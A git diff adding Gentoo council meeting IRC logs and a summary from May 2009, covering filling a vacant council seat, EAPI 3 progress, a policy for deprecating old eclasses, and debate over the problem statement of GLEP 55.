+21:30 < ssuominen> if this gets passed, can we start using it right now in tree?
+21:30 <@leio> I see it's appropriate to vote on either dropping the requirement to ship static libraries (if such exists)
+21:30 <@leio> s/either//
+21:30 <@Betelgeuse> Developers can drop static libs if they want to but it won't be the default now.
+21:30 < ssuominen> or do we have to wait for eapi4 for some magical reason
+21:30 < reavertm> if so, I guess it's wrong approach - PM should be buildsystem independent - that's what eclasses are for imho
+21:30 <@Betelgeuse> ssuominen: you can do it now if you want to
+21:30 <@leio> Betelgeuse: with that wording I'm prepared to vote, and the vote is obviously yes :)
+21:30 <@Betelgeuse> reavertm: No. The defaults should cater to most cases.
+21:30 <+tanderson> reavertm: So econf should be in an eclass? That's silly
+21:30 < ulm> reavertm: the default is reasonable since it covers the vast majority of cases
+21:30 < ciaranm> reavertm: that idea was dropped years ago
+21:31 <@dev-zero> ok, I vote yes
+21:31 <@Betelgeuse> I vote yes
+21:31 < ssuominen> I vote yes (but it should become the default to disable the static libs)
+21:31 < ulm> I vote yes
+21:31 -!- Zorry [n=zorry@fu/coder/zorry] has quit [Read error: 104 (Connection reset by peer)]
+21:32 <@leio> we have a majority
+21:32 <@dev-zero> good
+21:32 -!- Zorry [n=zorry@ip1-67.bon.riksnet.se] has joined #gentoo-council
+21:32  * lu_zero votes yes as well
+21:32 <@dev-zero> ok, developers are allowed to drop static libs if the they want to but it won't be the default now
+21:33 < ssuominen> dev-zero: right, it can be decided/voted later on will it become the default or not
+21:33 <@leio> I suggest we suggest the development community to standardize on an USE=static-libs when they want to make installation of static libraries to be optional when they see a reason that someone might want them, and then it is eventually made a global USE flag per usual ways of having more than some 8 packages using it and proposing it on gentoo-dev as usual
+21:33 <@dev-zero> leio: sounds reasonable
+21:33 < jmbsvicetto> leio: 5 is the "magic" number
+21:34 <@dev-zero> ok, I'd say we put the rest of the topics on the agenda for the next meeting
+21:34 < ssuominen> so next topic removing old eclasses?
+21:34 <@dev-zero> yes, in two weeks
+21:34 < jmbsvicetto> leio: Should USE="static-libs" be a choice by the dev or should we mandate it for any ebuild that starts disabling them?
+21:35 <@dev-zero> ssuominen: sorry, but the suggested timeframe for such meetings is 1 hour and some of us have either job, studies or bed calling
+21:35 <@leio> jmbsvicetto: no, I meant it only for cases where it is reasonable to provide such an option. Not mandatory
+21:35 < ssuominen> dev-zero: right
+21:35 < jmbsvicetto> leio: If it is an option, users might start complaining about not being able to build packages with static-libs
+21:36 <@dev-zero> ok, has somebody to say something which should get in the log, statemement etc?
+21:36 < jmbsvicetto> leio: I was trying to clear what you said. I think some people (in particular users) might start "demanding" it becomes mandatory
+21:36 < jmbsvicetto> Yes
+21:36 < ssuominen> jmbsvicetto: for pkgs e.g. gst-engines-something just always --disable, i can see only few core libraries really needing the flag
+21:36 < dleverton> Presumably EXTRA_ECONF could still override it (although a USE flag is still nice in cases where it's most likely to be useful)
+21:36 <@dev-zero> jmbsvicetto: ok, what is it? :)
+21:36 <@leio> jmbsvicetto: hmm... I guess it might be useful to define when it would make sense to have it. I personally see it making sense for some C++ things and in lower-level things that are of interest to the embedded community
+21:36 <+tanderson> Why not just use EXTRA_ECONF in the places is useful(livecds I've heard)
+21:36 < jmbsvicetto> The election team decided to hold the council elections from June 1st to 14th for nominations and 16th to 30th for voting. The results will likely be announced on July 2nd
+21:37 < solar> <ciaranm> leio: it comes from solar <-- not me. Perhaps somebody else.
+21:37 <@leio> solar: vapier
+21:37 < ssuominen> EXTRA_ECONF is not an option, there's other build systems as well...
+21:37 < jmbsvicetto> leio: I'm not a fan of static-libs, but I antecipate users will complain about not having a choice
+21:37 <@dev-zero> jmbsvicetto: ok, thank you already for organizing the elections
+21:37 <@leio> solar: I think. At least he's the only one that has been saying there is such a rule, and the only actual written down statement as such is a short e-mail from him stating such a rule exists
+21:37 <@dev-zero> tanderson: ^^ please put that in the summary
+21:38 <+tanderson> the elections stuff? I miss nothing :P
+21:38 <@dev-zero> someone else?
+21:38 <@Betelgeuse> Well usually devs cater to users that want a choice.
+21:38 <@Betelgeuse> IF it makes sense.
+21:38 <@leio> solar: and Halcy0n saying there is such a thing because vapier said so :)
+21:38 <@dev-zero> tanderson: yes, just add it as a separate point please
+21:38 <+tanderson> yup
+21:38 <@dev-zero> ok, then the meeting is over
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090528-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20090528-summary.txt
new file mode 100644
index 00000000..5a972d23
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090528-summary.txt
@@ -0,0 +1,76 @@
+Roll Call:
+===========
+Betelgeuse: here
+Cardoe: here
+dertobi123: here 
+dev-zero: here
+leio: here
+lu_zero: here
+tanderson(secretary): here
+ulm: here
+
+Topics:
+===========
+
+    - Filling the empty council seat.
+        Donnie Berkholz resigned from the council so there is an empty spot
+        that needs to be filled. ssuominen and ulm were tied for the next
+        spot, but ssuominen relinquished his seat to ulm. To fill the spot,
+        ulm needed to be unanimusly voted in by the current members.
+
+        Conclusion:
+            Unanimously voted to fill the seat. Ulrich Müller will fill Donnie
+            Berkholz's seat for the rest of the current term.
+
+    - EAPI 3 status report from Zac Medico.
+        No progress yet. Zac said he'd have a recent recruit of his work with
+        him on it.
+
+        Conclusion:
+            Zac will work on EAPI 3 features with the help of his recruit. He
+            will also blog about what features need to be done so the general
+            community can pitch in.
+
+    - Removal of Old Eclasses.
+        Jorge(jmbsvicetto) requested that the council discuss removing
+        eclasses from the tree that are no longer needed. The problem with
+        this is that old(<2.1.4) portage versions used the eclasses from the
+        tree to run uninstall phases. Thus, the removal of eclasses would
+        break users who have a portage older than 2.1.4.
+
+        Conclusion:
+            The council voted that to remove eclasses devs should take the
+            following steps:
+                1) Deprecate eclasses.
+                2) Removal of all functionality relating to installing.
+                3) After two years the eclass may be removed.
+            Thomas Anderson(tanderson) will write up patches for devmanual so
+            that this policy is documented.
+
+    - Handling EAPI Versioning in a forwards-compatible way.
+        Various developers have raised concerns that GLEP 55 only describes a
+        solution and doesn't clearly show the problems being solved(if any).
+        Luca(lu_zero) mentioned a few things in the "Problem" section that he
+        thought could be clarified, listed below:
+
+            1) For "Change the behaviour of inherit in any way", it would be
+            useful to include references to bugs where requested inherit
+            changes would require GLEP 55.
+
+            2) For "Add new global scope functions in any way", defining
+            'Sane'.
+
+            3) For "Extend versioning rules in an EAPI", removal of all
+            mentions of GLEP 54 would remove circularity. In addition,
+            mentioning other version format changes would be useful.
+
+            4) For "Use newer bash features", listing useful(including
+            in-tree) bash features not available in the bash version mandated
+            by PMS would be useful.
+
+        Conclusion:
+            The council voted on whether they recognized the problem that GLEP
+            55 is attempting to solve is real. The vote was affirmative in
+            recognition of the problem with two abstentions(leio and ulm). '
+            Cardoe was no longer at the meeting for this vote and will post 
+            his voteon-list.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090528.txt b/xml/htdocs/proj/en/council/meeting-logs/20090528.txt
new file mode 100644
index 00000000..e77c5765
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090528.txt
@@ -0,0 +1,401 @@
+16:00 <@dev-zero> ok, let's start the roll-call
+16:00  * dertobi123 his here and grabs another beer
+16:00  * lu_zero is present
+16:00  * Naib joins Sput. 
+16:00 <@dertobi123> is*
+16:00 < Naib> I has beer Sput
+16:00  * lu_zero takes some water
+16:01 < zmedico> dev-zero: yeah
+16:01 <@dev-zero> zmedico: cool :)
+16:01  * ulm is here
+16:01 <@leio> here
+16:01 <@dertobi123> so, we're waiting for Cardoe and Betelgeuse, right?
+16:02 <@dev-zero> yes
+16:02 <@dev-zero> Cardoe: ping?
+16:02 <@dev-zero> Betelgeuse: ping?
+16:02 <@Cardoe> pong
+16:02 <@dertobi123> heya Cardoe
+16:03 <@dev-zero> just updated the agenda again to match the one I posted
+16:03 <@dev-zero> Betelgeuse: please call in asap
+16:03 <@dev-zero> let's get started
+16:03 -!- Ron_157 [n=Matt@DSL01.212.114.237.250.ip-pool.NEFkom.net] has joined #gentoo-council
+16:03 <@dev-zero> Donnie decided to resign
+16:04 <@Cardoe> dertobi123: hey
+16:04 <@Betelgeuse> dev-zero: \o/
+16:04 <@dev-zero> the next person on the list are: ssuominen and ulm
+16:04 <@dev-zero> Betelgeuse: heya :)
+16:04 <@dev-zero> ssuominen decided to leave the spot to ulm
+16:05 <@dev-zero> so, unanonymous vote please
+16:05 <@Cardoe> ulm: are you present?
+16:05 <@dertobi123> he is
+16:05 < ulm> Cardoe: yep
+16:05 <@lu_zero> ulm =)
+16:05 <@Cardoe> yes for ulm
+16:05 <@dev-zero> yes for ulm
+16:05 <@dertobi123> welcome ulm ;)
+16:05 <@lu_zero> ulm welcome =)
+16:06 < ulm> thanks :)
+16:06 <@leio> yes for ulm
+16:06 <@Betelgeuse> yes
+16:06 -!- mode/#gentoo-council [+o ulm] by dev-zero
+16:06 <@dev-zero> good, that was quick :)
+16:07 <@dev-zero> can we move to the next topic?
+16:07 <@dertobi123> yes
+16:07 <@dev-zero> zmedico: what's the progress on eapi-3 implementation in portage?
+16:08 <+tanderson> I'm here
+16:08 < zmedico> dev-zero: almost nothing so far. only stuff is what you've given me patches for. however, I hope to make time to get it all done pretty soon.
+16:08 <+tanderson> dev-zero: yeah, I've been logging the whole thing
+16:09 -!- aknm [n=aknm@5acabe73.bb.sky.com] has joined #gentoo-council
+16:09 -!- spatz [n=spatz@unaffiliated/spatz] has joined #gentoo-council
+16:09 <@dev-zero> zmedico: ok, thanks
+16:10 <@dev-zero> I guess there's nothing more we could do besides start coding to speed up the process, is there?
+16:10 <@Betelgeuse> zmedico: Jugding from past experience that's anything from days to a year :)
+16:10 <@Betelgeuse> dev-zero: Writing code is recommended for everyone.
+16:10 < zmedico> Betelgeuse: yeah, but I don't expect the eapi3 stuff to be much work. just need to make time for it
+16:11 <@dev-zero> Betelgeuse: maybe we should point out that many features are not that hard to implement, just need a bit of bash and/or python knowledge
+16:11 <@lu_zero> basically patches welcome?
+16:11 <@Betelgeuse> dev-zero: Indeed.
+16:11 <@leio> lets rewrite portage in C, then I can help *g
+16:11 <@Betelgeuse> dev-zero: The barrier of entry for some of them shouldn't be that high and maybe it would encourage further contributions.
+16:11 -!- xake [n=xake@liten.csbnet.se] has joined #gentoo-council
+16:11 <@lu_zero> leio ok =P
+16:11 <+tanderson> I could take a look at making some patch for the bash things
+16:11 <+tanderson> *patches
+16:11 < Calchan> zmedico, how about asking your recruit to help you ?
+16:12 -!- marens [n=marens@unaffiliated/marens] has joined #gentoo-council
+16:12 < zmedico> Calchan: good idea, will do
+16:12 <+tanderson> zmedico: I never did get around to rewriting ebuild.sh to be more eapi-friendly,did I :/
+16:13 < zmedico> well, it works fine as is
+16:13 <+tanderson> zmedico: yeah, but it's a tad messy
+16:13 -!- spaceinvader [n=desktop@unaffiliated/spaceinvader] has joined #gentoo-council
+16:13 < zmedico> yeah, could use some cleanup
+16:14 <@lu_zero> zmedico you may try to point some tasks you'd like to see patches in your blog
+16:14 <@Betelgeuse> dev-zero: Next topic time?
+16:14 <@dev-zero> Betelgeuse: I think so
+16:14 <@dev-zero> zmedico: jup, that would be great :)
+16:14 < zmedico> lu_zero: good idea, will do
+16:14 <@dev-zero> zmedico: thanks for reporting :)
+16:14 <@dev-zero> ok, next topic
+16:15 < zmedico> you're welcome
+16:15 <@dev-zero> removing old eclasses
+16:16 <@dev-zero> as Betelgeuse pointed out it would only be a problem for packages where the vdb entry has been generated with a very old portage version
+16:16 <@dev-zero> or when using a portage version older than 2.1.4
+16:16 <@dev-zero> is that correct?
+16:16 <@leio> do I get it right that if user has packages using eclasses that have been removed, all he has to do is upgrade portage before upgrading or removing other stuff to get the environment.bz2 used that has been saved for lots more than since a year?
+16:16 <@ulm> zmedico: when exactly was Portage 2.1.4 stabilised?
+16:16 <@dev-zero> leio: I did understand it that way as well, yes
+16:17  * dertobi123 too
+16:18 <@dev-zero> it seems something around a year ago
+16:18 < peper> and how horribly <2.1.4 fails at uninstallation? i.e. is it just a case of upgrading and trying again or something is screwed up in the process?
+16:18 < zmedico> ulm: around march, 2008
+16:20 <@dertobi123> it was mid-february last year according to the changelog
+16:20 <@leio> I think it would be fine to remove eclasses once we map out which ones are used by portage and its deps and limit any compatibility breaking impact there
+16:20 <@ulm> dertobi123: 2008-02-18 according to bug 210031
+16:20 < Willikins> ulm: https://bugs.gentoo.org/210031 "sys-apps/portage-2.1.4.4 stable request"; Portage Development, Conceptual/Abstract Ideas; RESO, FIXE; zmedico@g.o:dev-portage@g.o
+16:20 <@Cardoe> The packages that don't know what repo they were generated with are generated with which Portage?
+16:20 -!- lavajoe [n=joe@mail.boulder.swri.edu] has joined #gentoo-council
+16:20 <@Cardoe> the ones that say "[?=>0]"
+16:21 <@dertobi123> ulm: yep, that was the one i found, too
+16:21 <@Cardoe> cause if that's 2.1.4, then I still have packages that were recently upgraded with that version
+16:21 <@dev-zero> zmedico: ^^ ?
+16:21 -!- marens [n=marens@unaffiliated/marens] has left #gentoo-council []
+16:22 <@Betelgeuse> Yeah many people never run emerge -e world
+16:23 <@Betelgeuse> I don't really see what's the big benefit of being able to rm a couple files?
+16:23 <@dertobi123> i don't, too
+16:23 <@dertobi123> mark them as deprecated and we're done
+16:24 < zmedico> Cardoe: repo labels in /var/db/pkg are in >=portage-2.1.5 iirc
+16:24 <@dev-zero> maybe make anything not needed for uninstall unusable? (by using die in src_install/src_compile/etc)
+16:24 <@Cardoe> zmedico: and what file is that stored in?
+16:24 <+tanderson> dertobi123: you could even put a die in pkg_setup or something 
+16:24 <@Betelgeuse> dev-zero: That's been the practise
+16:24 <@dev-zero> Betelgeuse: ah, ok
+16:24 <@Betelgeuse> dev-zero: see debug.eclass
+16:25 < zmedico> Cardoe: /var/db/pkg/*/*/repository
+16:25 <@dertobi123> tanderson: exactly ...
+16:26 <@dev-zero> well, we already drop enough bugs on our users, I don't like risking even more
+16:26 <@dertobi123> agreed
+16:26 <@Cardoe> so we can see what directories are missing /var/db/pkg/*/*/repository
+16:26 <@dev-zero> Cardoe: but that isn't related to environment.bz2, is it?
+16:27 <@Cardoe> and that'll give you a guess at seeing that that some packages are made with an old portage
+16:27 <@Cardoe> dev-zero: I thought we were talking about when eclasses were included in environment.bz2
+16:27 <@leio> by my understanding that's a lot before 2.1.4
+16:28 <@dev-zero> Cardoe: yes, but repository is included with portage >=2.1.5 and environment.bz2 got generated by even older portage but not used
+16:28 <@dev-zero> ok, can we come to a conclusion here?
+16:28 <@dertobi123> guess we can quickly vote on that
+16:28 <@Cardoe> dev-zero: right so my check tells you what vdb's were created with 2.1.4 and older
+16:28 <@dev-zero> leio, lu_zero, ulm, Cardoe: what's your opinion on this?
+16:28 <@leio> repeating from before: I think it would be fine to remove eclasses once we map out which ones are used by portage and its deps and limit any compatibility breaking impact there
+16:29 <@ulm> if it's only a little more that a year ago, then IMO it's too risky to allow removing
+16:29 <@lu_zero> as a general rule I'd keep 6 month of deprecation, make sure an upgrade path is available as leio said
+16:29 <@ulm> after all, the benefit is very small
+16:29 <@lu_zero> and do the cleanup if is deemed useful
+16:29 <@Cardoe> I'm with ulm on this one
+16:30 <@dev-zero> that leaves us with "wait a bit longer to remove eclasses"?
+16:30 <@leio> does that have to be mean about all eclasses?
+16:31 <@dev-zero> well, graph theory is non-trivial, so I don't consider myself smart enough to ensure that a given eclass doesn't show up in a dep-tree when updating portage
+16:31 <@leio> there's a difference between eclasses that portage and its deps depend on and eclasses that only a limited set of packages used, and all those revisions of such packages were removed two years ago
+16:31 <@dertobi123> leio: eclasses which were introduced after portage-2.1.4 went stable might be an exception (though the number of those eclasses isn't that large, i guess)
+16:32 <@ulm> dertobi123: that makes sense
+16:32 <@leio> maybe the community can bring example of which eclasses they'd like to remove
+16:33 <@dev-zero> kde has been mentioned
+16:33 <@Betelgeuse> GLEP 55 allows us to use a new eclass approach etc
+16:33 <@Betelgeuse> so the old ones can just be left to rot
+16:33 <@dertobi123> unused eclasses are marked as deprecated and it's functionality except uninstall-related stuff removed, and that for a minimum of 2 years before final removal
+16:34 <@dertobi123> what about that? (and the exception i stated above)
+16:34 <@ulm> dertobi123: +1
+16:34 <@dev-zero> dertobi123: sounds good
+16:34 <@lu_zero> dertobi123 fine
+16:34 <@dertobi123> so we have 4 yes on that :)
+16:34 <@dertobi123> any "no"s?
+16:35 <@Betelgeuse> I don't really see a need for a time limit like that
+16:35 <@leio> I take it as something that can be relaxed once more time has passed
+16:35 <@dev-zero> where do we write that down?
+16:35 <@Betelgeuse> I would just leave the empty ones there
+16:35 <@dertobi123> dev-zero: meeting agenda, dev-manual, anywhere else?
+16:35 <@dev-zero> dev-manual mainly I think
+16:36 <@Betelgeuse> Otherwise if we keep the flat namespace someone might accidentally resurrect an eclass with different behavior
+16:36 <@dev-zero> tanderson: can you do the update perhaps?
+16:36 <@Cardoe> dev-zero: dev-manual for sure
+16:36 <@Cardoe> dev-zero: I'd file a ticket for that
+16:37 <@Cardoe> alright let's get moving on the agenda items
+16:37 <@Cardoe> got about 20 min left
+16:37 <@dertobi123> yeah
+16:38 <@dev-zero> good
+16:38 <@leio> instead of keeping empty ones, there could be a cvs or git hook to disallow resurrection
+16:39 <+tanderson> dev-zero: for eapi 3?
+16:39 <@leio> however initially I thought the intention of keeping empty ones around idea was to keep the inherit calls from old package revisions being uninstalled to not error out on missing eclasses
+16:39 <+tanderson> dev-zero: or deprecating unused eclasses?
+16:39 -!- codejunky [i=jan@nerdig.org] has joined #gentoo-council
+16:39 <@dev-zero> tanderson: deprecating unused eclasses
+16:39 <+tanderson> right.
+16:40 <+tanderson> can do. Probably after my summary is finished though :)
+16:40 -!- codejunky [i=jan@nerdig.org] has left #gentoo-council []
+16:40 <+tanderson> leio dislikes waiting :p
+16:40 <@dev-zero> tanderson: otherwise please open a bug for it
+16:40 <+tanderson> ok
+16:40 <@dev-zero> leio: can we discuss it on-list or later on?
+16:40 <@leio> sure.
+16:40 <@dev-zero> ok
+16:40 <@leio> (I'll be gone till Monday after meeting though, fyi)
+16:41 <@dev-zero> let's move on: Handling EAPI versioning in a forwards-compatible way
+16:41 <+tanderson> If I don't get it done this weekend I'll file a bug. Usually I just poke halcy0n with patches
+16:41 <@dev-zero> ok, Ferris proposed a good way to maybe shed some light on that issue
+16:42 <@dev-zero> are we all clear what the problems are GLEP55 tries to solve?
+16:42 <@leio> Not completely.
+16:42 <@lu_zero> dev-zero some are still disputing them
+16:42 -!- windzor [i=windzor@goatse.baconsvin.dk] has quit [SendQ exceeded]
+16:43 <+tanderson> mmm
+16:43 <+tanderson> what specifically is not understood about the purpose?
+16:43 <@leio> some things it tries to solve seem like things that are not a problem that needs solving
+16:43 <@ulm> dev-zero: the glep in its current wording doesn't make clear what the problem is
+16:44 < ciaranm> what's unclear about the four bullet points describing the problems?
+16:44 <+tanderson> leio: -scm?
+16:44 <@lu_zero> tanderson from what I see from a cursory read the items listed as "problems" aren't believed to be problems at all
+16:44 < NeddySeagoon> GLEP 55 could use some editorial work.  There is more useful info in emails than in the glep
+16:44 <@leio> -scm does not need an extension change.
+16:44 <@dertobi123> ulm: right
+16:44 < ciaranm> please point out which of the four bullet points listing the problem needs clarifying
+16:44 <@leio> this discussion will go downhill from this point.
+16:44 <@dertobi123> as usual
+16:44  * dertobi123 sighs
+16:45 <+tanderson> leio: we do not want per-package eclasses at all? I do certainly
+16:45 < ciaranm> if someone could say which of the bullet points they think isn't clear enough, i'm sure the glep could be updated to address that
+16:45 < bonsaikitten> ciaranm: they do not list the problem but a potential solution
+16:45 <@leio> tanderson: good for you. There are other ways to achieve that.
+16:45 <@Betelgeuse> Who wants to us VAR+="addition" in global scope?
+16:45 <@Betelgeuse> s/us/use/
+16:45 -!- alip [i=alip@unaffiliated/alip] has joined #gentoo-council
+16:46 < ciaranm> bonsaikitten: the four bullet points under the Problem title, please
+16:46 <@dev-zero> bonsaikitten: no, they don't. Please read "current behaviour" in the glep
+16:46 < bonsaikitten> which version are we talking about btw?
+16:46 <@Betelgeuse> http://www.gentoo.org/proj/en/glep/glep-0055.html
+16:47 < bonsaikitten> Betelgeuse: that's not the current version
+16:47 <@lu_zero> ciaranm I'd say
+16:47 <@lu_zero> all.
+16:47 <@lu_zero> either by their vague definition
+16:47 <@lu_zero> or their circularity
+16:47 < ciaranm> lu_zero: ok, let's start with "Change the behaviour of inherit in any way (for example, to extend or change eclass functionality)". what's the problem with that one?
+16:47 <@lu_zero> ciaranm case 1: vague definition
+16:47 < NeddySeagoon> lets not waste the meetings time - lets just fix the glep
+16:47 < ciaranm> lu_zero: what specifically is vague, that you don't understand?
+16:48 <@Betelgeuse> NeddySeagoon: Do you have a patch in mind?
+16:48 < ciaranm> NeddySeagoon: that's what we're doing. we're finally getting someone to say specifically what they think needs fixing.
+16:48 <@Betelgeuse> NeddySeagoon: Feel free to submit one.
+16:48 < ciaranm> NeddySeagoon: if lu_zero could explain exactly what he thinks is wrong with the four bullet points, we can fix them
+16:48 <@dev-zero> jup, that's the point of it
+16:48 <@lu_zero> ciaranm "in any way" doesn't explain which way
+16:49 <@lu_zero> and could be merged with the point 2
+16:49 <@Cardoe> This is a constant struggle.
+16:49 < NeddySeagoon> Betelgeuse,  as I suggested on on -ml it needs a rewrite to include much of the missing information, that is available in the emails
+16:49 <@lu_zero> and there "sane" isn't defined
+16:49 <@Cardoe> People are confused about some wording
+16:49 < fmccor> bonsaikitten, It's dated 17 May 2009.  You have something more recent?
+16:49 <@Cardoe> and they just want clarification
+16:49 < ciaranm> lu_zero: so if we add in links to the pms "future eapi request" bugs that give examples of ways that people want inherit to be changed, you'd be happy with that?
+16:49 <@Cardoe> there's no need to be defensive and get in a fight
+16:49 < bonsaikitten> fmccor: it shows ver. 1.4, cvs has a 1.5
+16:49 <@Cardoe> explain it to the person
+16:49 <@Cardoe> if more then 1 person is confused.
+16:49 < ciaranm> Cardoe: i'm trying to establish exactly what people don't understand or want changed
+16:50 < ssuominen> ulm: to old msg, good :)
+16:50 <@lu_zero> ciaranm if that manages to get less people going berserk when you proposed that in ml probably.
+16:50 <@Betelgeuse> Let's go this way. Who thinks being able to use VAR+="addition" in global scope is useless?
+16:50 < ciaranm> lu_zero: ok, second bullet point. "Add new global scope functions in any sane way.". what is your problem with that statement?
+16:50 < NeddySeagoon> ciaranm, references to other docs are only useful if the reference docs will not change
+16:50 <@ulm> Betelgeuse: nobody needs this
+16:50 <@leio> "Easily fetchable EAPI inside the ebuild" sounds like a good way to start with solving the thing that is the agenda topic - "Handling EAPI versioning in a forwards-compatible way"
+16:50 < bonsaikitten> Betelgeuse: nicely loaded question
+16:50 < peper> bonsaikitten: it's the current version. probably some cvs/web-sync screw-up
+16:50 <@leio> because it merely makes it a rule something that already is a QA policy
+16:51 <@lu_zero> ciaranm define "Sane"
+16:51 < ciaranm> lu_zero: would it help if we add in links to bugs where people are requesting new global scope functions?
+16:51 < bonsaikitten> peper: oh fun ... so which version is authorative?
+16:51 <@Betelgeuse> ulm: why?
+16:51 <@lu_zero> inherit is a global scope function or not btw?
+16:51 < peper> bonsaikitten: it's the same version
+16:51 < ciaranm> lu_zero: inherit's an existing global scope funtion, not a new one
+16:51 < drantin> it's outside a stage, so it's global
+16:51 <@ulm> Betelgeuse: because you can do it in a different way?
+16:51 <@lu_zero> ciaranm inherit2 would be
+16:51 < ciaranm> lu_zero: and inherit has its own special problems unrelated to adding new functions
+16:52 <@lu_zero> or inherit with optional parameters
+16:52 <@lu_zero> anyway it's digressing
+16:52 <@dev-zero> NeddySeagoon: would it be sufficient to add examples for stuff where "in any way" is written?
+16:52 <@Betelgeuse> ulm: We should write longer code on purpose when we could get away with new syntax? I don't see any benefit to sticking with old bash syntax.
+16:52 < ciaranm> lu_zero: bullet point 4. what don't you understand about "use newer bash features."?
+16:52 < ciaranm> lu_zero: would you like a list of newer bash features that we could use?
+16:52 <@lu_zero> ciaranm I think it would help a lot
+16:53 < ciaranm> lu_zero: ok, easily done. and bullet point three: "Extend versioning rules in an EAPI - for example, addition of the scm suffix - GLEP54 [1] or allowing more sensible version formats like 1-rc1, 1-alpha etc. to match upstream more closely.". what's wrong with that?
+16:53 <@ulm> Betelgeuse: it's no so much longer, probably on the few percent level
+16:53 <@lu_zero> it's circular.
+16:53 < ciaranm> lu_zero: how is it circular?
+16:53 < NeddySeagoon> dev-zero, that will help.  I understand the reason for the glep and support it aims.
+16:53 <@lu_zero> glep54 isn't accepted
+16:53 < ciaranm> lu_zero: glep 54 is merely an example
+16:53 <@dev-zero> NeddySeagoon: good, will happen then
+16:54 < ciaranm> lu_zero: it also lists other examples of things we might want to do
+16:54 < bonsaikitten> ciaranm: we might want to keep the status quo
+16:54 <@ulm> ciaranm: who is "we"?
+16:54 <@Betelgeuse> ulm: Well bash syntax evolves constantly and there's other things too. But as said a couple lines up there will be a list.
+16:54 <@dev-zero> lu_zero: even your .live extension depends on it
+16:54 < ciaranm> ulm: people who submit feature requests for future eapis
+16:54 < NeddySeagoon> dev-zero, I can volunteer some editorial time, if that helps.
+16:54 <@lu_zero> dev-zero I know
+16:54 < ciaranm> lu_zero: would you like us to remove the specific examples from the third bullet point whilst we're adding them in to the other three?
+16:55 <@lu_zero> ciaranm as I said 3 are vague, one is circular
+16:55 < ciaranm> lu_zero: please explain the circular thing
+16:55 < ciaranm> lu_zero: glep 54 is merely one example of a thing we'd like to do
+16:55 < Sput> isn't the real problem g55 should be solving "how to figure out EAPI prior to sourcing", and shouldn't the discussion center around how to achieve that best?
+16:55 <@dev-zero> lu_zero: ... and your glep is another example
+16:55 <@Betelgeuse> I guess he means that go hand in hand but I don't see how it makes GLEP 55 worse.
+16:56 <@lu_zero> dev-zero none of them are accepted
+16:56 < ciaranm> lu_zero: if that bullet point instead said "Extend versioning rules in an EAPI, for example to allow version formats like 1-rc1, 1-alpha etc. to match upstream more closely", would you be happy?
+16:56 < NeddySeagoon> ciaranm, do you already have glep 54 and 55 implemented in paludis ?
+16:56 < ciaranm> lu_zero: they can't be accepted until glep 55 is
+16:56 <@dev-zero> NeddySeagoon: yes
+16:56 < ciaranm> NeddySeagoon: 54, yes. 55, more or less, although not for the specific suffixes we're asking for (it's used by exheres and kdebuild)
+16:56 <@lu_zero> so you don't need glep 55 if people agree live ebuild or scm version rules are useful
+16:57 -!- alip [i=alip@unaffiliated/alip] has left #gentoo-council []
+16:57 <@Betelgeuse> how do you do -scm without 55?
+16:57 < ciaranm> lu_zero: you need glep 55 if you want any of the bullet points, or if you want -rc support or so on
+16:57 <@Betelgeuse> And no user visible breakage.
+16:57 < lack> Betelgeuse: Easy -> Wait a year
+16:57 <@Betelgeuse> or year wait
+16:57 < NeddySeagoon> ciaranm, maybe that explains why glep55 needs to be read from the bottom up.  You are too close to the problem and perceived solution to document it well
+16:57 <@leio> there is no need to wait for a year
+16:58 <@leio> to introduce -scm or -live
+16:58 <@dev-zero> leio: can you explain that please?
+16:58 <@Betelgeuse> dev-zero: I propose having a vote on if the council thinks the problems as worthy.
+16:58 < ciaranm> NeddySeagoon: stop thinking of the abstract and title as part of the main body
+16:58 < peper> NeddySeagoon: just fyi, I wrote the glep :) as can be easily seen by english quality probably :)
+16:58 <@dev-zero> Betelgeuse: and then update them according to what we discussed today?
+16:58 < ciaranm> lu_zero: so if we update those four bullet points the ways we discussed, you'll be happy?
+16:59 <@Betelgeuse> dev-zero: I only see clarifications coming out of this.
+16:59 < NeddySeagoon> ciaranm I'm not. The body is very thin too
+16:59 -!- xake [n=xake@liten.csbnet.se] has quit [Client Quit]
+16:59 < ciaranm> NeddySeagoon: please point out specific areas where you'd like it fattened up
+16:59 <@lu_zero> ciaranm I see people complaining about that so I hope that will make the thing more acceptable to that point
+16:59 <@lu_zero> then there is the rest
+16:59 <@leio> dev-zero: you simply have portage warn about an unrecognized atom for people with old portage. One line warning per package seen that has a -scm revision, nagging them even further to finally upgrade their package manager for doing, duh, package management. Nothing catastrophic to my knowledge.
+16:59 <@Betelgeuse> dev-zero: And if you understand the problem domain you don't need any concrete wording for voting
+16:59 < ciaranm> leio: did you see the mess last time that happened?
+17:00 <@leio> No.
+17:00 <@lu_zero> I don't see benchmarks yet I have most of the alternate proposals ruled as resource heavy
+17:00 <@dev-zero> Betelgeuse: ok, agreed for the voting
+17:00 <@dev-zero> ok, people
+17:00 < NeddySeagoon> ciaranm, I would like objective, quantitive measurements of the main potential solutions included in the GLEP.  Some have been posted to the -ml, so they are probebly available
+17:00 <+tanderson> This is a vote on the 'problem' not the solution, right?
+17:00 < Calchan> what the glep really needs is summarizing what was said on the list, and I know that ciaranm is going to say that very little to none of it is valuable but many will disagree with that
+17:00 <@ulm> leio: do you remember if there were any serious problems when multiple _pre, _rc, etc. were allowed?
+17:00 <@dertobi123> NeddySeagoon, Calchan: agreed
+17:01 <@lu_zero> and possibly reproducible by third party easily
+17:01 <@dev-zero> tanderson: yes
+17:01 <@leio> ulm: I don't remember, but that's a reason why I don't see it reasonable to change versioning rules to track upstream better.
+17:01 <+tanderson> Calchan: I could clarify some points of the problem part. I just need concrete emails on which parts are confusing and why they are confusing
+17:01 < NeddySeagoon> lu_zero, auditable anyway
+17:01 <@dev-zero> ok, can we please get votes for whether the problems mentioned in the glep are worth to get solved?
+17:01 <@ulm> leio: I also see no need for things like "-rc" instead of "_rc"
+17:01 <@Betelgeuse> I vote yes.
+17:02 < Calchan> tanderson, that's the hard part, digging the interesting stuff from all these useless flamewars
+17:02 <@dertobi123> in general, yes
+17:02 <@dev-zero> I vote yes.
+17:02 <@lu_zero> I asked them to be clarified so count me as a yes with reserve
+17:02 <+tanderson> Calchan: indeed. I'm actually considering asking for _private_ emails so I don't have all the back-and-forth
+17:02 <@dev-zero> good, that makes 4
